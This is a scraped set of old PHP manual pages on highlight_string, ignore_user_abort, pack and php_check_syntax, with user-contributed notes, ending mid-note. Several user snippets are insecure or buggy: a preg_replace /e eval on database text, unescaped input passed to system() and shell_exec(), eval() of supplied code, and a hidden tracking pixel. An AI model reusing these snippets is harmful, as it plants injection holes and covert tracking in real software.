With this function you can highlight php code with line numbers:

<?php
function highlight_php($string)
{
  $Line = explode("\n",$string);

  for($i=1;$i<=count($Line);$i++)
  {
    $line .= "&nbsp;".$i."&nbsp;<br>";
  }

  ob_start();
  highlight_string($string);
  $Code=ob_get_contents();
  ob_end_clean();

  $header='<table border="0" cellpadding="0" cellspacing="0" width="95%" style="border-style: solid; border-width:1px; border-color: white black black white">
    <tr>
      <td width="100%" colspan="2"  style="border-style: solid; border-width:1px; border-color: white; background-color: #99ccff; font-family:Arial; color:white; font-weight:bold;">Php-Code:</td>
    </tr>
    <tr>
      <td width="3%" valign="top" style="background-color: #99ccff; border-style: solid; border-width:1px; border-color: white;"><code>'.$line.'</code></td>
      <td width="97%" valign="top" style="background-color: white;"><div style="white-space: nowrap; overflow: auto;"><code>';

  $footer=$Code.'</div></code></td>
    </tr>
  </table>';

  return $header.$footer;
} ?>
admin [at] develogix [dot] com 16-Feb-2005 11:15
I've been working on a good replacement for the highlight_string() function; and here is what I've come up with so far:

<?
function get_sourcecode_string($str, $return = false, $counting = true, $first_line_num = '1', $font_color = '#666'){
    $str = highlight_string($str, TRUE);
    $replace = array(
        '<font' => '<span',
        'color="' => 'style="color: ',
        '</font>' => '</span>',
        '<code>' => '',
        '</code>' => '',
        '<span style="color: #FF8000">' =>
            '<span style="color: '.$font_color.'">'
        );
    foreach ($replace as $html => $xhtml){
        $str = str_replace($html, $xhtml, $str);
    }
    // delete the first <span style="color:#000000;"> and the corresponding </span>
    $str = substr($str, 30, -9);

    $arr_html      = explode('<br />', $str);
    $total_lines   = count($arr_html);
    $out           = '';
    $line_counter  = 0;
    $last_line_num = $first_line_num + $total_lines;

    foreach ($arr_html as $line){
        $line = str_replace(chr(13), '', $line);
        $current_line = $first_line_num + $line_counter;
        if ($counting){
            $out .= '<span style="color:'.$font_color.'">'
                  . str_repeat('&nbsp;', strlen($last_line_num) - strlen($current_line))
                  . $current_line
                  . ': </span>';
        }
        $out .= $line
              . '<br />'."\n";
        $line_counter++;
    }
    $out = '<code>'."\n".$out.'</code>."\n"';

    if ($return){return $out;}
    else {echo $out;}
}
?>

This function outputs valid XHTML 1.1 code by replacing font tags with span tags. You can also specify whether you want it to return or echo, output a line-count, the color of the line-count, and the starting line-count number.

Usage:
<?
// $str = string with php
// $return = true (return) / false (echo)
//    default of false
// $counting = true (count) / false (don't count)
//    default of true
// $start = starting count number
//    default of '1'
// $color = count color with preceding #
//    defalut of '#666'
get_sourcecode_string($str, $return,   $counting, $start, $color);
?>
gaggge at gmail dot com 30-Jan-2005 08:26
This is a little function for highlighting bbcode-stylish PHP code from a mysql database.
(Like this: [php]<?php echo "test"; ?>[/php])

<?php
function bbcode($s)
{
    $s = str_replace("]\n", "]", $s);
    $match = array('#\[php\](.*?)\[\/php\]#se');
    $replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
    return preg_replace($match, $replace, $s);
}
?>
admin at bwongar dot com 05-Jan-2005 03:11
I didn't get the expected results from the other XHTML_highlight function, so I developed my own and it is much more efficient. The older one uses a preg_replace to replace the contents of the tag to within a span tag. The only preg_replace in my function pulls the color attribute, and puts it within a str_replace'd span tag.

<?php
function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    $str = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $str);
    return preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
}

?>
manithu at fahr-zur-hoelle dot org 06-Nov-2004 11:10
This function will return highlighted, xhtml 1.1 valid code (replaces <font> with <span> elements and color with style attributes):

<?php

function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    //replace <code><font color=""></font></code>
    $str = preg_replace('#<font color="([^\']*)">([^\']*)</font>#', '<span style="color: \\1">\\2</span>', $str);
    //replace other <font> elements
    return preg_replace('#<font color="([^\']*)">([^\']*)</font>#U', '<span style="color: \\1">\\2</span>', $str);
}

?>
aidan at php dot net 26-Sep-2004 08:29
To add line numbers to source code, with optional function linking, use the below function:

http://aidanlister.com/repos/v/function.highlight_file_linenum.php

A much more thorough and smarter, though slower version is here:

http://aidanlister.com/repos/v/PHP_Highlight.php
highlight_file
ignore_user_abort
Misc. Functions


Set whether a client disconnect should abort script execution

highlight_string
pack
Misc. Functions
PHP Manual

ignore_user_abort

(PHP 4, PHP 5)

ignore_user_abort — Set whether a client disconnect should abort script execution

Description

int ignore_user_abort ([ string $value ] )

Sets whether a client disconnect should cause a script to be aborted.

When running PHP as a command line script, and the script's tty goes away without the script being terminated then the script will die the next time it tries to write anything, unless value is set to TRUE

Parameters

value

If set, this function will set the ignore_user_abort ini setting to the given value. If not, this function will only return the previous setting without changing it.

Return Values

Returns the previous setting, as an integer.

Examples

Example #1 A ignore_user_abort() example

<?php
// Ignore user aborts and allow the script
// to run forever
ignore_user_abort(true);
set_time_limit(0);

echo 'Testing connection handling in PHP';

// Run a pointless loop that sometime
// hopefully will make us click away from
// page or click the "Stop" button.
while(1)
{
    // Did the connection fail?
    if(connection_status() != CONNECTION_NORMAL)
    {
        break;
    }

    // Sleep for 10 seconds
    sleep(10);
}

// If this is reached, then the 'break'
// was triggered from inside the while loop

// So here we can log, or perform any other tasks
// we need without actually being dependent on the
// browser.
?>

Notes

PHP will not detect that the user has aborted the connection until an attempt is made to send information to the client. Simply using an echo statement does not guarantee that information is sent, see flush().

See Also

  • connection_aborted() - Check whether client disconnected
  • connection_status() - Returns connection status bitfield
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

lukas dot starecek at centrum dot cz 14-Sep-2009 12:22
Comment from Anonymous is not 100% valid. Time from sleep function is not counted to execution time because sleep delays program execution (see http://www.php.net/manual/en/function.sleep.php and comments). We tested it and it's true. Try this:

<?php

set_time_limit(2);
sleep(4);
echo 'hi!';
sleep(4);
echo 'bye bye!';

?>

It means, that if the loop most of the time will be at sleep (and in this case it probably be), then this script may be active for months or years even if you set time limit to one day.
Anonymous 03-Jul-2009 01:38
use the spiritual-coder's code below with exreme caution and do not use it unless you are an advanced user.

first of all, such a code with no bypass point can cause infinite loops and ghost threads in server. there must be a trick to break out the loop.

i.e. you can use  if (file_exists(dirname(__FILE__)."stop.txt")) break; in the loop so if you create "stop.txt", she script will stop execution.

also if you use set_time_limit(86400); instead of set_time_limit(0); your script will stop after one day.
phpguy92135 at yahoo dot com 08-Jun-2009 04:28
Theres no point in sending anything to the browser if the user does abort.  Since the user aborted, the browser wont listen even if PHP did send information to the browser.

If you want to see if the user did abort, then use error_log() or some other form of logging to find out what happened, but dont rely on the output to the browser as the only method of checking ones data.
spiritual-coder at spiritual-coder dot com 13-Jul-2006 09:45
If you want to simulate a crontask you must call this script once and it will keep running forever (during server uptime) in the background while "doing something" every specified seconds (= $interval):

<?php
ignore_user_abort(1); // run script in background
set_time_limit(0); // run script forever
$interval=60*15; // do every 15 minutes...
do{
   // add the script that has to be ran every 15 minutes here
   // ...
   sleep($interval); // wait 15 minutes
}while(true);
?>
plamen at pulsator dot com 29-Mar-2001 09:21
The script should output something to the browser in order to abort. If there is no output the script keeps on running.
highlight_string
pack
Misc. Functions


Pack data into binary string

ignore_user_abort
php_check_syntax
Misc. Functions
PHP Manual

pack

(PHP 4, PHP 5)

pack — Pack data into binary string

Description

string pack ( string $format [, mixed $args [, mixed $... ]] )

Pack given arguments into binary string according to format.

The idea for this function was taken from Perl and all formatting codes work the same as in Perl. However, there are some formatting codes that are missing such as Perl's "u" format code.

Note that the distinction between signed and unsigned values only affects the function unpack(), where as function pack() gives the same result for signed and unsigned format codes.

Parameters

format

The format string consists of format codes followed by an optional repeater argument. The repeater argument can be either an integer value or * for repeating to the end of the input data. For a, A, h, H the repeat count specifies how many characters of one data argument are taken, for @ it is the absolute position where to put the next data, for everything else the repeat count specifies how many data arguments are consumed and packed into the resulting binary string.

Currently implemented formats are:

pack() format characters
Code | Description
a | NUL-padded string
A | SPACE-padded string
h | Hex string, low nibble first
H | Hex string, high nibble first
c | signed char
C | unsigned char
s | signed short (always 16 bit, machine byte order)
S | unsigned short (always 16 bit, machine byte order)
n | unsigned short (always 16 bit, big endian byte order)
v | unsigned short (always 16 bit, little endian byte order)
i | signed integer (machine dependent size and byte order)
I | unsigned integer (machine dependent size and byte order)
l | signed long (always 32 bit, machine byte order)
L | unsigned long (always 32 bit, machine byte order)
N | unsigned long (always 32 bit, big endian byte order)
V | unsigned long (always 32 bit, little endian byte order)
f | float (machine dependent size and representation)
d | double (machine dependent size and representation)
x | NUL byte
X | Back up one byte
@ NUL-fill to absolute position

args

Return Values

Returns a binary string containing data.

Examples

Example #1 pack() example

<?php
$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);
?>

The resulting binary string will be 6 bytes long and contain the byte sequence 0x12, 0x34, 0x78, 0x56, 0x41, 0x42.

Notes

Caution

Note that PHP internally stores integer values as signed values of a machine-dependent size (C type long). Integer literals and operations that yield numbers outside the bounds of the integer type will be stored as float. When packing these floats as integers, they are first cast into the integer type. This may or may not result in the desired byte pattern.

The most relevant case is when packing unsigned numbers that would be representable with the integer type if it were unsigned. In systems where the integer type has a 32-bit size, the cast usually results in the same byte pattern as if the integer were unsigned (although this relies on implementation-defined unsigned to signed conversions, as per the C standard). In systems where the integer type has 64-bit size, the float most likely does not have a mantissa large enough to hold the value without loss of precision. If those systems also have a native 64-bit C int type (most UNIX-like systems don't), the only way to use the I pack format in the upper range is to create integer negative values with the same byte representation as the desired unsigned value.

See Also

  • unpack() - Unpack data from binary string

User Contributed Notes

Gerjoo at gmail dot com 26-May-2011 12:55
You can use pack to strip the byte order mark (BOM) from a file.

For example, strip the UTF-8 BOM:

<?php

// Strips the UTF-8 mark: (hex value: EF BB BF)
function trimUTF8BOM($data){
    if(substr($data, 0, 3) == pack('CCC', 239, 187, 191)) {
        return substr($data, 3);
    }
    return $data;
}

?>

This function could be easily adjusted to match any byte order mark. Have a look at wikipedia for a full list of hex codes for each specific encoding.

- Gerard
FrozenFire 20-Oct-2010 09:40
If you need to unpack a signed short from big-endian or little-endian specifically, instead of machine-byte-order, you need only unpack it as the unsigned form, and then if the result is >= 2^15, subtract 2^16 from it.

And example would be:

<?php
$foo = unpack("n", $signedbigendianshort);
$foo = $foo[1];
if($foo >= pow(2, 15)) $foo -= pow(2, 16);
?>
Ammar Hameed 21-Jun-2010 04:53
Using pack to write Arabic char(s) to a file.

<?php
$text = "&#13574;&#13830;&#13830;";

$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");

$len =  mb_strlen($text);

$bom = mb_convert_encoding("&#65534;", "unicode", "HTML-ENTITIES");

$fp = fopen('text.txt', 'w');

fwrite($fp, pack('a2', $bom));
fwrite($fp, pack("a{$len}", $text));
fwrite($fp, pack('a2', $bom));
fwrite($fp, pack('a2', "\n"));

fclose($fp);
?>
SixThreeOh 15-Feb-2010 10:04
If you're bugged by http://bugs.php.net/bug.php?id=5889 then you can try this:

Use igbinary-serialize if you don't mind a little overhead.

Or intarray (by the same person) if you don't mind using a slightly experimental package which may have problems sharing data between differently byte/bit ordered architectures.

I don't believe it would be too difficult to shove a serialize function and unserialize function in there if you rip out the code from igbinary for storing numeric arrays with the correct endianess. Looking at `igbinary_serialize32` and `igbinary_unserialize32` in igbinary.c it should be very easy to copy that functionality to intarray.c.

Take away the "<<0" though, that's just stupid :P

Ref: http://opensource.dynamoid.com/
Anonymous 25-Nov-2009 05:18
may be useful

<?php
    public function unpack_str($str, $len) {
        $tmp_arr = unpack("c".$len."chars", $str);
        $out_str = "";
        foreach($tmp_arr as $v) {
            if($v>0) {
                $out_str .= chr($v);
            }
        }

        return $out_str;
    }

    public function pack_str($str, $len) {
        $out_str = "";
        for($i=0; $i<$len; $i++) {
            $out_str .= pack("c", ord(substr($str, $i, 1)));
        }
        return $out_str;
    }
?>
Anonymous 21-Aug-2009 08:30
Coder's example is basically an explanation of bindec() and decbin(), not pack() and unpack().

Here's some code to convert a string binary expression into its binary-string equivalent and vice versa.

(Would be even simpler if pack/unpack offered a 'b' format code....)

<?php
function bin2bstr($input)
// Convert a binary expression (e.g., "100111") into a binary-string
{
  if (!is_string($input)) return null; // Sanity check

  // Pack into a string
  return pack('H*', base_convert($input, 2, 16));
}

function bstr2bin($input)
// Binary representation of a binary-string
{
  if (!is_string($input)) return null; // Sanity check

  // Unpack as a hexadecimal string
  $value = unpack('H*', $input);

  // Output binary representation
  return base_convert($value[1], 16, 2);
}

// Returns string(3) "ABC"
var_dump(bin2bstr('01000001 01000010 01000011'));

// Returns string(24) "010000010100001001000011"
var_dump(bstr2bin('ABC'));
?>
Coder 07-Apr-2009 04:54
These two functions allow conversion between binary string and signed integer with possibility to give the bit length.

Usage:
<?php
echo si2bin(-10, 32);
11111111111111111111111111110110
echo si2bin(10, 32);
00000000000000000000000000001010
echo bin2si("11111111111111111111111111110110", 32);
-10
echo bin2si("00000000000000000000000000001010", 32);
10

// signed integer to binary
function si2bin($si, $bits=32)
{
    if ($si >= -pow(2,$bits-1) and $si <= pow(2,$bits-1) )
    {
        if ($si >= 0) // positive or zero
        {
            $bin = base_convert($si,10,2);
            // pad to $bits bit
            $bin_length = strlen($bin);
            if ($bin_length < $bits) $bin = str_repeat ( "0", $bits-$bin_length).$bin;
        }
        else // negative
        {
            $si = -$si-pow(2,$bits);
            $bin = base_convert($si,10,2);
            $bin_length = strlen($bin);
            if ($bin_length > $bits) $bin = str_repeat ( "1", $bits-$bin_length).$bin;
        }
        return $bin;
    }
}

// binary to signed integer
function bin2si($bin,$bits=32)
{
    if (strlen($bin)==$bits)
    {
        if (substr($bin,0,1) == 0) // positive or zero
        {
            $si = base_convert($bin,2,10);
        }
        else // negative
        {
            $si = base_convert($bin,2,10);
            $si = -(pow(2,$bits)-$si);
        }
        return $si;
    }
}
?>
qwanta 16-Oct-2008 07:28
Unlike the PERL pack function, the PHP version does not accept arrays as arguments (see PHP Bugs: #5889).

To get around this I found something like this works:
<?php
$word_data = array(132,457,234,63);
$packet_send = "";
foreach ($word_data as $word) {
    $packet_send = $packet_send.pack("v",$word);
}
?>

As Pack returns a string, so you can just concatenate them.
Anonymous 05-Jul-2008 04:17
Array pack:
<?php
function pack_array($v,$a) {
 return call_user_func_array(pack,array_merge(array($v),(array)$a));
}
?>
php at nagler-ihlein dot de 08-May-2008 07:26
Be aware of format code H always padding the 0 for byte-alignment to the right (for odd count of nibbles).

So pack("H", "7") results in 0x70 (ASCII character 'p') and not in 0x07 (BELL character)
as well as pack("H*", "347") results in 0x34 ('4') and 0x70 ('p') and not 0x03 and 0x47.
Quis AT spam.to.my.devnull.quis.cx 25-Jan-2008 06:45
<?PHP
function ntohs($port) {
  $b=pack("N", $port);
  return substr($b,2,2);
}
?>

I've spent a number of hours (n>=2) finding how to do this,
it works like the c function 'ntohs', used for eg the socks5 proxy protocol.
dylan at pow7 dot com 05-Sep-2007 04:00
This is how I used pack to convert base2 to base64 since base_convert doesn't support base64
The base conversions don't work for long strings, which is why I convert 1 byte at a time
Hope this helps someone

function base2to64($base2) {
    if ($remainbits = strlen($base2)%8) $base2 .= str_repeat('0',8-$remainbits);
    $base64 = NULL;
    for ($i=0;$i<strlen($base2);$i+=8) $base16 .= sprintf('%02x',bindec(sprintf('%08d',substr($base2,$i,8))));
    return base64_encode(pack('H*',$base16));
}
function base64to2($base64) {
    list($base16) = unpack('H*0',base64_decode($base64));
    $base2 = NULL;
    for ($i=0;$i<strlen($base16);$i++) $base2 .= sprintf('%04d',base_convert(substr($base16,$i,1),16,2));
    return $base2;
}
Chr dot Eichert<moga at mx dot homelinux dot org> 15-Feb-2007 04:21
This is how you can produce a code that is in fact a picture.
(This code is a complete tool, copy it to a file, call it 'somehow.php' and produce your pictures as hexcode).

<!--//  ***Begin of File***  //-->
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" enctype="multipart/form-data">
<input type="file" name="thefile"><input type="submit">
</form>
<?php
$rh = fopen ($_FILES['thefile']['tmp_name'], "r");
$pb = fread($rh, 8192);
fclose($rh);
$pc = bin2hex($pb);
$pd = wordwrap($pc, 76, "\".<br /> \n \"", 1);
echo "<TT>\$hexpic=\""."$pd"."\"\n</TT>;";
?>
<!--//  ***End of File***  //-->

Copy the result in your site code somewhere. For to show the code as a picture you can use something like what dirk (at) camindo de wrote ...

<?php
$hexpic=".......................
.....................";
$data = pack("H" . strlen($hexpic), $hexpic);
header("Content-Type: image/png");
// maybe your is jpeg / gif / png
header("Last-Modified: " . date("r", filectime($_SERVER['SCRIPT_FILENAME'])));
header("Content-Length: " . strlen($data));
echo $data;
?>

have fun!
dirk (at) camindo de 19-Jan-2007 03:22
Work around newsletter tracking:
include a transparent gif (1x1 pixel) with url = track.php and parameters.
track.php has to write the parameters e.g. into a database and provides the gif - using following code:

header("Content-Type: image/gif");
header("Content-Length: 49");
echo pack('H*',
  '47494638396101000100910000000000ffffffff'
 .'ffff00000021f90405140002002c000000000100'
 .'01000002025401003b'
);
Newdawn.dk 22-Mar-2006 04:25
When trying to create a ZIP file using the pack function - I experienced trouble with the "a" code - It converted all chars correct from the std. ASCII charset but not more language specific like ÆøÅ.
It seems that ZIP files do not use the same HEX for these as everything else does.
The fix was a quick workaround but you'll probably get the picture:
function UniHex($str) {
    // æ ø å Æ Ø Å
    //These are simply one HEX code being replaced by another to correct the issue
    $except = array("E6"=>"91","F8"=>"9B","E5"=>"86","C6"=>"92","D8"=>"9D",    "C5"=>"8F");
    for($i = 0; $i < strlen($str); $i++) {
        $hex = bin2hex(substr($str, $i, 1));
        if ($except[strtoupper($hex)])
            $hex = $except[strtoupper($hex)];
        $return .= $hex;
    }
    return $return;
}
And then i replaced an "a100" code with "H".strlen(uniHex($mystring))

This is like i said a quick workaround, but if you find the real reason for this i'd be happy to see it
j.s.hoekstra 13-Mar-2006 08:57
/* Convert float from HostOrder to Network Order */
function FToN( $val )
{
    $a = unpack("I",pack( "f",$val ));
    return pack("N",$a[1] );
}

/* Convert float from Network Order to HostOrder */
function NToF($val )
{
    $a = unpack("N",$val);
    $b = unpack("f",pack( "I",$a[1]));
    return $b[1];
}
Patrik Fimml 11-Oct-2005 10:42
You will get the same effect with

<?php
function _readInt($fp)
{
   return unpack('V', fread($fp, 4));
}
?>

or unpack('N', ...) for big-endianness.
19-Feb-2005 11:09
I needed to convert binary values from a file to integers.

Maybe there is something simpler, but the snippets i saw above seemed a little convoluted:

function bin2asc ($binary)
{
    $val = 0;

    for ($i = strlen($binary) - 1; $i >= 0; $i--) {
        $ch = substr($binary, $i, 1);
        $val = ($val << 8) | ord($ch);
    }

    return $val;
}

This was called like the following from a binary file:

function _readInt($fp)
{
    return bin2asc(fread($fp, 4));
}

Note that the for loop should be reversed for network byte order instead of intel byte order.  Also the conversion will work with any number of bytes, but will happily overflow.
zilinex at yahoo dot com 01-Sep-2004 11:12
a cool function to converrt numbers to Persian numbers(utf-8)
origin: http://www.farsiweb.info/jalali/jalali.phps

function farsinum($str)
{
  $ret = "";
  for ($i = 0; $i < strlen($str); ++$i) {
        $c = $str[$i];
        if( $c >= '0' && $c <= '9' )
                $out .= pack("C*", 0xDB, 0xB0 + $c);
        else
                $ret .= $c;
  }
  return $ret;
}
Jurgen Braam 02-Oct-2003 11:39
take note: if you produce binary files using PHP on multiple platforms, that you use one of the machine-independent pack options.

This means 's' 'S' 'i' 'I' 'd' and 'f' are _EVIL_ :) Took me some time to figure out what my Excel-generator what futzing about :) Turned out the production machine was a Sun Sparc. I develop on my own x86 Linux server.

Hope this helps anyone...
c-ya,
Jurgen
mfisch[at]kaz[dot]com 10-Jul-2001 09:53
If you are trying to do ascii <--> binary conversions like me;
you probably found that unlike the perl pack functions, these wont help too much. Attached are two functions I wrote to accomplish this task.
<br>
function bin2asc ($binary)
{
  $i = 0;
  while ( strlen($binary) > 3 )
  {
    $byte[$i] = substr($binary, 0, 8);
    $byte[$i] = base_convert($byte[$i], 2, 10);
    $byte[$i] = chr($byte[$i]);
    $binary = substr($binary, 8);
    $ascii = "$ascii$byte[$i]";
  }
  return $ascii;
}
<br>
function asc2bin ($ascii)
{
  while ( strlen($ascii) > 0 )
  {
    $byte = ""; $i = 0;
    $byte = substr($ascii, 0, 1);
    while ( $byte != chr($i) ) { $i++; }
    $byte = base_convert($i, 10, 2);
    $byte = str_repeat("0", (8 - strlen($byte)) ) . $byte; # This is an endian (architexture) specific line, you may need to alter it.
    $ascii = substr($ascii, 1);
    $binary = "$binary$byte";
  }
  return $binary;
}
<br>
Im not sure these are the most efficient functions, but surely alot faster than loading up a perl interpreter for every binary conversion =)
plutus at gmx dot de 10-Aug-2000 04:14
Note that the the upper command in perl looks like this:

$binarydata = pack ("n v c*", 0x1234, 0x5678, 65, 66);
In PHP it seems that no whitespaces are allowed in the first parameter. So if you want to convert your pack command from perl -> PHP, don't forget to remove the whitespaces!
ignore_user_abort
php_check_syntax
Misc. Functions


Check the PHP syntax of (and execute) the specified file

pack
php_strip_whitespace
Misc. Functions
PHP Manual

php_check_syntax

(PHP 5 <= 5.0.4)

php_check_syntax — Check the PHP syntax of (and execute) the specified file

Description

bool php_check_syntax ( string $filename [, string &$error_message ] )

Performs a syntax (lint) check on the specified filename testing for scripting errors.

This is similar to using php -l from the commandline except that this function will execute (but not output) the checked filename.

For example, if a function is defined in filename, this defined function will be available to the file that executed php_check_syntax(), but output from filename will be suppressed.

Note:

For technical reasons, this function is deprecated and removed from PHP. Instead, use php -l somefile.php from the commandline.

Parameters

filename

The name of the file being checked.

error_message

If the error_message parameter is used, it will contain the error message generated by the syntax check. error_message is passed by reference.

Return Values

Returns TRUE if the lint check passed, and FALSE if the link check failed or if filename cannot be opened.

Changelog

Version | Description
5.0.5 | This function was removed from PHP.
5.0.3 | Calling exit() after php_check_syntax() resulted in a Segfault.
5.0.1 | error_message is passed by reference.

Examples

php -l somefile.php

The above example will output something similar to:

PHP Parse error: unexpected T_STRING in /tmp/somefile.php on line 81

See Also

  • include()
  • is_readable() - Tells whether a file exists and is readable

User Contributed Notes

kevin at metalaxe dot com 19-Dec-2008 04:37
I've given it some thought and rewritten my function to take full advantage of the CLI -l option (that's lower L). It requires that you enable error reporting via your own php.ini file (which you should edit the function to apply) otherwise the return result is a worthless "Error parsing".

Anyway, I hope this is useful for someone. I'm sure it could use improvement, so use at your own risk. Demo here:
http://kevinpeno.com/projects/php_syntax_check.php

<?php
/**
*    Check Syntax
*    Performs a Syntax check within a php script, without killing the parser (hopefully)
*    Do not use this with PHP 5 <= PHP 5.0.4, or rename this function.
*
*    @params    string    PHP to be evaluated
*    @return    array    Parse error info or true for success
**/
function php_check_syntax( $php, $isFile=false )
{
    # Get the string tokens
    $tokens = token_get_all( '<?php '.trim( $php  ));

    # Drop our manually entered opening tag
    array_shift( $tokens );
    token_fix( $tokens );

    # Check to see how we need to proceed
    # prepare the string for parsing
    if( isset( $tokens[0][0] ) && $tokens[0][0] === T_OPEN_TAG )
       $evalStr = $php;
    else
        $evalStr = "<?php\n{$php}?>";

    if( $isFile OR ( $tf = tempnam( NULL, 'parse-' ) AND file_put_contents( $tf, $php ) !== FALSE ) AND $tf = $php )
    {
        # Prevent output
        ob_start();
        system( 'C:\inetpub\PHP\5.2.6\php -c "'.dirname(__FILE__).'/php.ini" -l < '.$php, $ret );
        $output = ob_get_clean();

        if( $ret !== 0 )
        {
            # Parse error to report?
            if( (bool)preg_match( '/Parse error:\s*syntax error,(.+?)\s+in\s+.+?\s*line\s+(\d+)/', $output, $match ) )
            {
                return array(
                    'line'    =>    (int)$match[2],
                    'msg'    =>    $match[1]
                );
            }
        }
        return true;
    }
    return false;
}

//fixes related bugs: 29761, 34782 => token_get_all returns <?php NOT as T_OPEN_TAG
function token_fix( &$tokens ) {
    if (!is_array($tokens) || (count($tokens)<2)) {
        return;
    }
   //return of no fixing needed
    if (is_array($tokens[0]) && (($tokens[0][0]==T_OPEN_TAG) || ($tokens[0][0]==T_OPEN_TAG_WITH_ECHO)) ) {
        return;
    }
    //continue
    $p1 = (is_array($tokens[0])?$tokens[0][1]:$tokens[0]);
    $p2 = (is_array($tokens[1])?$tokens[1][1]:$tokens[1]);
    $p3 = '';

    if (($p1.$p2 == '<?') || ($p1.$p2 == '<%')) {
        $type = ($p2=='?')?T_OPEN_TAG:T_OPEN_TAG_WITH_ECHO;
        $del = 2;
        //update token type for 3rd part?
        if (count($tokens)>2) {
            $p3 = is_array($tokens[2])?$tokens[2][1]:$tokens[2];
            $del = (($p3=='php') || ($p3=='='))?3:2;
            $type = ($p3=='=')?T_OPEN_TAG_WITH_ECHO:$type;
        }
        //rebuild erroneous token
        $temp = array($type, $p1.$p2.$p3);
        if (version_compare(phpversion(), '5.2.2', '<' )===false)
            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

        //rebuild
        $tokens[1] = '';
        if ($del==3) $tokens[2]='';
        $tokens[0] = $temp;
    }
    return;
}
?>
nicolas dot grekas+php at gmail dot com 20-Oct-2008 01:20
Hi again, here is my last contribution to the subject : this php_syntax_error() function returns false if there is no syntax error in $code, or an array($message, $line) if there is one (idea borrowed from kevin's code) .

For exemple, php_syntax_error(' DELIBERTE PHP ERROR; ') returns array('unexpected T_STRING', 1) ;)

Please note that the dead code sandbox IS important. A "return" at the beginning of the evaluated string can easily be broken: try eval('return; function strlen(){}') versus eval('if(0){function strlen(){}}').

<?php

function php_syntax_error($code)
{
    $braces = 0;
    $inString = 0;

    // First of all, we need to know if braces are correctly balanced.
    // This is not trivial due to variable interpolation which
    // occurs in heredoc, backticked and double quoted strings
    foreach (token_get_all('<?php ' . $code) as $token)
    {
        if (is_array($token))
        {
            switch ($token[0])
            {
            case T_CURLY_OPEN:
            case T_DOLLAR_OPEN_CURLY_BRACES:
            case T_START_HEREDOC: ++$inString; break;
            case T_END_HEREDOC:   --$inString; break;
            }
        }
        else if ($inString & 1)
        {
            switch ($token)
            {
            case '`':
            case '"': --$inString; break;
            }
        }
        else
        {
            switch ($token)
            {
            case '`':
            case '"': ++$inString; break;

            case '{': ++$braces; break;
            case '}':
                if ($inString) --$inString;
                else
                {
                    --$braces;
                    if ($braces < 0) break 2;
                }

                break;
            }
        }
    }

    // Display parse error messages and use output buffering to catch them
    $inString = @ini_set('log_errors', false);
    $token = @ini_set('display_errors', true);
    ob_start();

    // If $braces is not zero, then we are sure that $code is broken.
    // We run it anyway in order to catch the error message and line number.

    // Else, if $braces are correctly balanced, then we can safely put
    // $code in a dead code sandbox to prevent its execution.
    // Note that without this sandbox, a function or class declaration inside
    // $code could throw a "Cannot redeclare" fatal error.

    $braces || $code = "if(0){{$code}\n}";

    if (false === eval($code))
    {
        if ($braces) $braces = PHP_INT_MAX;
        else
        {
            // Get the maximum number of lines in $code to fix a border case
            false !== strpos($code, "\r") && $code = strtr(str_replace("\r\n", "\n", $code), "\r", "\n");
            $braces = substr_count($code, "\n");
        }

        $code = ob_get_clean();
        $code = strip_tags($code);

        // Get the error message and line number
        if (preg_match("'syntax error, (.+) in .+ on line (\d+)$'s", $code, $code))
        {
            $code[2] = (int) $code[2];
            $code = $code[2] <= $braces
                ? array($code[1], $code[2])
                : array('unexpected $end' . substr($code[1], 14), $braces);
        }
        else $code = array('syntax error', 0);
    }
    else
    {
        ob_end_clean();
        $code = false;
    }

    @ini_set('display_errors', $token);
    @ini_set('log_errors', $inString);

    return $code;
}

?>
matt dot nospam at pryor dot org dot uk 05-Feb-2008 05:35
While developing an app where I have to include PHP files written by a user, I came across the following problem:

I used "php -l somefile.php" to check the syntax of the file I was about to include and if it passed, I would include it - so far so good. But in some test cases, the file I was including would have other includes/requires inside it. If one of these was invalid, then I would still get the parse error that I was trying to avoid.

I got round it using this:

<?php
    function CheckSyntax($fileName, $checkIncludes = true)
    {
        // If it is not a file or we can't read it throw an exception
        if(!is_file($fileName) || !is_readable($fileName))
            throw new Exception("Cannot read file ".$fileName);

        // Sort out the formatting of the filename
        $fileName = realpath($fileName);

        // Get the shell output from the syntax check command
        $output = shell_exec('php -l "'.$fileName.'"');

        // Try to find the parse error text and chop it off
        $syntaxError = preg_replace("/Errors parsing.*$/", "", $output, -1, $count);

        // If the error text above was matched, throw an exception containing the syntax error
        if($count > 0)
            throw new Exception(trim($syntaxError));

        // If we are going to check the files includes
        if($checkIncludes)
        {
            foreach(GetIncludes($fileName) as $include)
            {
                // Check the syntax for each include
                CheckSyntax($include);
            }
        }
    }

    function GetIncludes($fileName)
    {
        // NOTE that any file coming into this function has already passed the syntax check, so
        // we can assume things like proper line terminations

        $includes = array();
        // Get the directory name of the file so we can prepend it to relative paths
        $dir = dirname($fileName);

        // Split the contents of $fileName about requires and includes
        // We need to slice off the first element since that is the text up to the first include/require
        $requireSplit = array_slice(preg_split('/require|include/i', file_get_contents($fileName)), 1);

        // For each match
        foreach($requireSplit as $string)
        {
            // Substring up to the end of the first line, i.e. the line that the require is on
            $string = substr($string, 0, strpos($string, ";"));

            // If the line contains a reference to a variable, then we cannot analyse it
            // so skip this iteration
            if(strpos($string, "$") !== false)
                continue;

            // Split the string about single and double quotes
            $quoteSplit = preg_split('/[\'"]/', $string);

            // The value of the include is the second element of the array
            // Putting this in an if statement enforces the presence of '' or "" somewhere in the include
            // includes with any kind of run-time variable in have been excluded earlier
            // this just leaves includes with constants in, which we can't do much about
            if($include = $quoteSplit[1])
            {
                // If the path is not absolute, add the dir and separator
                // Then call realpath to chop out extra separators
                if(strpos($include, ':') === FALSE)
                    $include = realpath($dir.DIRECTORY_SEPARATOR.$include);

                array_push($includes, $include);
            }
        }

        return $includes;
    }
?>

This checks as many of the includes inside the file as it possibly can without executing anything.
nicolas dot grekas+php at gmail dot com 25-Jan-2008 10:16
My previous code was buggy sorry, here is an update (thanks phprockstheworld). I can't find a way to break the dead code sandbox. Who can ?

<?php

